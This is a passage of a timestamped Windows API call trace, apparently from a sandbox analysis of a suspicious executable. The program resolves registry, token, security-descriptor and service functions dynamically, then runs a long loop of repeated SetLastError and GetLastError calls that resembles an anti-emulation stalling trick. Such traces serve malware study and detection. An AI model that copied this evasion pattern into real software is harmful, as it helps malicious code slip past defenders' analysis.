lpProcName="lstrcpyW") returned 0x745b7140 [0290.633] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0290.633] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0290.633] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0290.633] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0290.634] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0290.634] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0290.634] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0290.634] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0290.634] GetProcAddress (hModule=0x74560000, lpProcName="GetDriveTypeW") returned 0x745ceed0 [0290.634] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0290.635] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0290.635] GetProcAddress (hModule=0x74560000, lpProcName="GetCommandLineW") returned 0x74574cc0 [0290.635] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0290.635] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0290.635] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0290.635] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0290.636] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0290.636] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0290.636] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0290.636] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76850000 [0290.636] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0290.636] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0290.637] GetProcAddress (hModule=0x76850000, lpProcName="GetClassNameA") returned 0x7686ba80 [0290.637] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffW") returned 0x768c7670 [0290.637] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0290.637] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x77230000 [0290.637] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0290.637] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0290.637] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0290.638] GetProcAddress (hModule=0x77230000, lpProcName="RegUnLoadKeyW") returned 0x77263af0 [0290.639] GetProcAddress (hModule=0x77230000, lpProcName="RegLoadKeyW") returned 0x77263990 [0290.639] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0290.639] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0290.639] GetProcAddress (hModule=0x77230000, lpProcName="SetServiceStatus") returned 0x77250650 [0290.639] GetProcAddress (hModule=0x77230000, lpProcName="RegisterServiceCtrlHandlerA") returned 0x77263b10 [0290.639] GetProcAddress (hModule=0x77230000, lpProcName="StartServiceCtrlDispatcherA") returned 0x77253b60 [0290.639] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountNameW") returned 0x7724f290 [0290.640] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExW") returned 0x7724e5a0 [0290.640] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0290.640] GetProcAddress (hModule=0x77230000, lpProcName="ConvertSidToStringSidW") returned 0x7724ed80 [0290.640] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0290.640] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0290.640] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x74360000 [0290.640] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0290.640] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0290.640] GetProcAddress (hModule=0x74360000, lpProcName="_ltoa") returned 0x74390600 [0290.641] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0290.641] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0290.641] GetProcAddress (hModule=0x74360000, lpProcName="_except_handler3") returned 0x743b7d94 [0290.641] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x46c0000 [0290.708] SetLastError (dwErrCode=0x5) [0290.708] GetLastError () returned 0x5 [0290.708] GetCurrentThread () returned 0xfffffffe [0290.708] SetLastError (dwErrCode=0x9) [0290.708] GetLastError () returned 0x9 [0290.708] GetCurrentThread () returned 0xfffffffe [0290.708] SetLastError (dwErrCode=0xd) [0290.708] GetLastError () returned 0xd [0290.708] GetCurrentThread () returned 0xfffffffe [0290.708] SetLastError (dwErrCode=0x11) [0290.708] GetLastError () returned 0x11 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x15) [0290.709] GetLastError () returned 0x15 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x19) [0290.709] GetLastError () returned 0x19 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x1d) [0290.709] GetLastError () returned 0x1d [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x21) [0290.709] GetLastError () returned 0x21 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x25) [0290.709] GetLastError () returned 0x25 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x29) [0290.709] GetLastError () returned 0x29 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x2d) [0290.709] GetLastError () returned 0x2d [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x31) [0290.709] GetLastError () returned 0x31 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x35) [0290.709] GetLastError () returned 0x35 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x39) [0290.709] GetLastError () returned 0x39 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x3d) [0290.709] GetLastError () returned 0x3d [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x41) [0290.709] GetLastError () returned 0x41 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.709] SetLastError (dwErrCode=0x45) [0290.709] GetLastError () returned 0x45 [0290.709] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x49) [0290.710] GetLastError () returned 0x49 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x4d) [0290.710] GetLastError () returned 0x4d [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x51) [0290.710] GetLastError () returned 0x51 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x55) [0290.710] GetLastError () returned 0x55 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x59) [0290.710] GetLastError () returned 0x59 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x5d) [0290.710] GetLastError () returned 0x5d [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x61) [0290.710] GetLastError () returned 0x61 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x65) [0290.710] GetLastError () returned 0x65 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x69) [0290.710] GetLastError () returned 0x69 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x6d) [0290.710] GetLastError () returned 0x6d [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x71) [0290.710] GetLastError () returned 0x71 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x75) [0290.710] GetLastError () returned 0x75 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x79) [0290.710] GetLastError () returned 0x79 [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x7d) [0290.710] GetLastError () returned 0x7d [0290.710] GetCurrentThread () returned 0xfffffffe [0290.710] SetLastError (dwErrCode=0x81) [0290.711] GetLastError () returned 0x81 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0x85) [0290.711] GetLastError () returned 0x85 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0x89) [0290.711] GetLastError () returned 0x89 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0x8d) [0290.711] GetLastError () returned 0x8d [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0x91) [0290.711] GetLastError () returned 0x91 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0x95) [0290.711] GetLastError () returned 0x95 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0x99) [0290.711] GetLastError () returned 0x99 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0x9d) [0290.711] GetLastError () returned 0x9d [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0xa1) [0290.711] GetLastError () returned 0xa1 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0xa5) [0290.711] GetLastError () returned 0xa5 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0xa9) [0290.711] GetLastError () returned 0xa9 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0xad) [0290.711] GetLastError () returned 0xad [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0xb1) [0290.711] GetLastError () returned 0xb1 [0290.711] GetCurrentThread () returned 0xfffffffe [0290.711] SetLastError (dwErrCode=0xb5) [0290.711] GetLastError () returned 0xb5 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xb9) [0290.712] GetLastError () returned 0xb9 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xbd) [0290.712] GetLastError () returned 0xbd [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xc1) [0290.712] GetLastError () returned 0xc1 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xc5) [0290.712] GetLastError () returned 0xc5 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xc9) [0290.712] GetLastError () returned 0xc9 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xcd) [0290.712] GetLastError () returned 0xcd [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xd1) [0290.712] GetLastError () returned 0xd1 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xd5) [0290.712] GetLastError () returned 0xd5 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xd9) [0290.712] GetLastError () returned 0xd9 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xdd) [0290.712] GetLastError () returned 0xdd [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xe1) [0290.712] GetLastError () returned 0xe1 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xe5) [0290.712] GetLastError () returned 0xe5 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xe9) [0290.712] GetLastError () returned 0xe9 [0290.712] GetCurrentThread () returned 0xfffffffe [0290.712] SetLastError (dwErrCode=0xed) [0290.712] GetLastError () returned 0xed [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0xf1) [0290.713] GetLastError () returned 0xf1 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0xf5) [0290.713] GetLastError () returned 0xf5 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0xf9) [0290.713] GetLastError () returned 0xf9 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0xfd) [0290.713] GetLastError () returned 0xfd [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x101) [0290.713] GetLastError () returned 0x101 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x105) [0290.713] GetLastError () returned 0x105 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x109) [0290.713] GetLastError () returned 0x109 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x10d) [0290.713] GetLastError () returned 0x10d [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x111) [0290.713] GetLastError () returned 0x111 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x115) [0290.713] GetLastError () returned 0x115 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x119) [0290.713] GetLastError () returned 0x119 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x11d) [0290.713] GetLastError () returned 0x11d [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x121) [0290.713] GetLastError () returned 0x121 [0290.713] GetCurrentThread () returned 0xfffffffe [0290.713] SetLastError (dwErrCode=0x125) [0290.714] GetLastError () returned 0x125 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x129) [0290.714] GetLastError () returned 0x129 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x12d) [0290.714] GetLastError () returned 0x12d [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x131) [0290.714] GetLastError () returned 0x131 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x135) [0290.714] GetLastError () returned 0x135 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x139) [0290.714] GetLastError () returned 0x139 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x13d) [0290.714] GetLastError () returned 0x13d [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x141) [0290.714] GetLastError () returned 0x141 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x145) [0290.714] GetLastError () returned 0x145 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x149) [0290.714] GetLastError () returned 0x149 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x14d) [0290.714] GetLastError () returned 0x14d [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x151) [0290.714] GetLastError () returned 0x151 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x155) [0290.714] GetLastError () returned 0x155 [0290.714] GetCurrentThread () returned 0xfffffffe [0290.714] SetLastError (dwErrCode=0x159) [0290.714] GetLastError () returned 0x159 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x15d) [0290.715] GetLastError () returned 0x15d [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x161) [0290.715] GetLastError () returned 0x161 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x165) [0290.715] GetLastError () returned 0x165 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x169) [0290.715] GetLastError () returned 0x169 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x16d) [0290.715] GetLastError () returned 0x16d [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x171) [0290.715] GetLastError () returned 0x171 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x175) [0290.715] GetLastError () returned 0x175 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x179) [0290.715] GetLastError () returned 0x179 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x17d) [0290.715] GetLastError () returned 0x17d [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x181) [0290.715] GetLastError () returned 0x181 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x185) [0290.715] GetLastError () returned 0x185 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x189) [0290.715] GetLastError () returned 0x189 [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x18d) [0290.715] GetLastError () returned 0x18d [0290.715] GetCurrentThread () returned 0xfffffffe [0290.715] SetLastError (dwErrCode=0x191) [0290.716] GetLastError () returned 0x191 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x195) [0290.716] GetLastError () returned 0x195 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x199) [0290.716] GetLastError () returned 0x199 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x19d) [0290.716] GetLastError () returned 0x19d [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1a1) [0290.716] GetLastError () returned 0x1a1 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1a5) [0290.716] GetLastError () returned 0x1a5 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1a9) [0290.716] GetLastError () returned 0x1a9 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1ad) [0290.716] GetLastError () returned 0x1ad [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1b1) [0290.716] GetLastError () returned 0x1b1 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1b5) [0290.716] GetLastError () returned 0x1b5 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1b9) [0290.716] GetLastError () returned 0x1b9 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1bd) [0290.716] GetLastError () returned 0x1bd [0290.716] GetCurrentThread () returned 0xfffffffe [0290.716] SetLastError (dwErrCode=0x1c1) [0290.716] GetLastError () returned 0x1c1 [0290.716] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1c5) [0290.717] GetLastError () returned 0x1c5 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1c9) [0290.717] GetLastError () returned 0x1c9 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1cd) [0290.717] GetLastError () returned 0x1cd [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1d1) [0290.717] GetLastError () returned 0x1d1 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1d5) [0290.717] GetLastError () returned 0x1d5 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1d9) [0290.717] GetLastError () returned 0x1d9 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1dd) [0290.717] GetLastError () returned 0x1dd [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1e1) [0290.717] GetLastError () returned 0x1e1 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1e5) [0290.717] GetLastError () returned 0x1e5 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1e9) [0290.717] GetLastError () returned 0x1e9 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1ed) [0290.717] GetLastError () returned 0x1ed [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1f1) [0290.717] GetLastError () returned 0x1f1 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1f5) [0290.717] GetLastError () returned 0x1f5 [0290.717] GetCurrentThread () returned 0xfffffffe [0290.717] SetLastError (dwErrCode=0x1f9) [0290.718] GetLastError () returned 0x1f9 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x1fd) [0290.718] GetLastError () returned 0x1fd [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x201) [0290.718] GetLastError () returned 0x201 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x205) [0290.718] GetLastError () returned 0x205 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x209) [0290.718] GetLastError () returned 0x209 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x20d) [0290.718] GetLastError () returned 0x20d [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x211) [0290.718] GetLastError () returned 0x211 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x215) [0290.718] GetLastError () returned 0x215 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x219) [0290.718] GetLastError () returned 0x219 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x21d) [0290.718] GetLastError () returned 0x21d [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x221) [0290.718] GetLastError () returned 0x221 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x225) [0290.718] GetLastError () returned 0x225 [0290.718] GetCurrentThread () returned 0xfffffffe [0290.718] SetLastError (dwErrCode=0x229) [0290.719] GetLastError () returned 0x229 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x22d) [0290.719] GetLastError () returned 0x22d [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x231) [0290.719] GetLastError () returned 0x231 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x235) [0290.719] GetLastError () returned 0x235 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x239) [0290.719] GetLastError () returned 0x239 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x23d) [0290.719] GetLastError () returned 0x23d [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x241) [0290.719] GetLastError () returned 0x241 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x245) [0290.719] GetLastError () returned 0x245 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x249) [0290.719] GetLastError () returned 0x249 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x24d) [0290.719] GetLastError () returned 0x24d [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x251) [0290.719] GetLastError () returned 0x251 [0290.719] GetCurrentThread () returned 0xfffffffe [0290.719] SetLastError (dwErrCode=0x255) [0290.720] GetLastError () returned 0x255 [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x259) [0290.720] GetLastError () returned 0x259 [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x25d) [0290.720] GetLastError () returned 0x25d [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x261) [0290.720] GetLastError () returned 0x261 [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x265) [0290.720] GetLastError () returned 0x265 [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x269) [0290.720] GetLastError () returned 0x269 [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x26d) [0290.720] GetLastError () returned 0x26d [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x271) [0290.720] GetLastError () returned 0x271 [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x275) [0290.720] GetLastError () returned 0x275 [0290.720] GetCurrentThread () returned 0xfffffffe [0290.720] SetLastError (dwErrCode=0x279) [0290.720] GetLastError () returned 0x279 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x27d) [0290.721] GetLastError () returned 0x27d [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x281) [0290.721] GetLastError () returned 0x281 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x285) [0290.721] GetLastError () returned 0x285 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x289) [0290.721] GetLastError () returned 0x289 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x28d) [0290.721] GetLastError () returned 0x28d [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x291) [0290.721] GetLastError () returned 0x291 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x295) [0290.721] GetLastError () returned 0x295 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x299) [0290.721] GetLastError () returned 0x299 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x29d) [0290.721] GetLastError () returned 0x29d [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x2a1) [0290.721] GetLastError () returned 0x2a1 [0290.721] GetCurrentThread () returned 0xfffffffe [0290.721] SetLastError (dwErrCode=0x2a5) [0290.721] GetLastError () returned 0x2a5 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2a9) [0290.722] GetLastError () returned 0x2a9 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2ad) [0290.722] GetLastError () returned 0x2ad [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2b1) [0290.722] GetLastError () returned 0x2b1 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2b5) [0290.722] GetLastError () returned 0x2b5 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2b9) [0290.722] GetLastError () returned 0x2b9 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2bd) [0290.722] GetLastError () returned 0x2bd [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2c1) [0290.722] GetLastError () returned 0x2c1 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2c5) [0290.722] GetLastError () returned 0x2c5 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2c9) [0290.722] GetLastError () returned 0x2c9 [0290.722] GetCurrentThread () returned 0xfffffffe [0290.722] SetLastError (dwErrCode=0x2cd) [0290.722] GetLastError () 